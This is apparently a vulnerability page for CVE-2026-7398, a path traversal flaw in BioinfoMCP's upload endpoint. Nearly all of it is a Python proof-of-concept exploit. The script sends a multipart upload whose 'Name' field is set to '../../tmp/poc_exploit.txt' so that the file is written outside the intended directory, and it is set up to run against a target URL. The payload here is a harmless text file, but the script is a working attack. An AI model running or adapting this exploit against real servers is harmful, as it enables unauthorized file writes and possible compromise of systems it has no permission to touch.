CVE-2026-7398 BioinfoMCP路径遍历漏洞

import requests def exploit_path_traversal(target_url): """ PoC for CVE-2026-7398: Path Traversal in BioinfoMCP Upload Endpoint. This script attempts to upload a file to a different directory using the 'Name' parameter. """ upload_endpoint = f"{target_url}/upload" # Adjust endpoint based on actual route # The malicious payload uses '../' to traverse directories malicious_filename = "../../tmp/poc_exploit.txt" # Data to be sent, exploiting the 'Name' parameter files = { 'file': ('data.txt', 'This is a proof of concept content.') } data = { 'Name': malicious_filename } try: response = requests.post(upload_endpoint, files=files, data=data) if response.status_code == 200: print(f"[+] Request sent successfully. Check if file exists at {malicious_filename}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error during exploitation: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8000" # Replace with actual target exploit_path_traversal(target)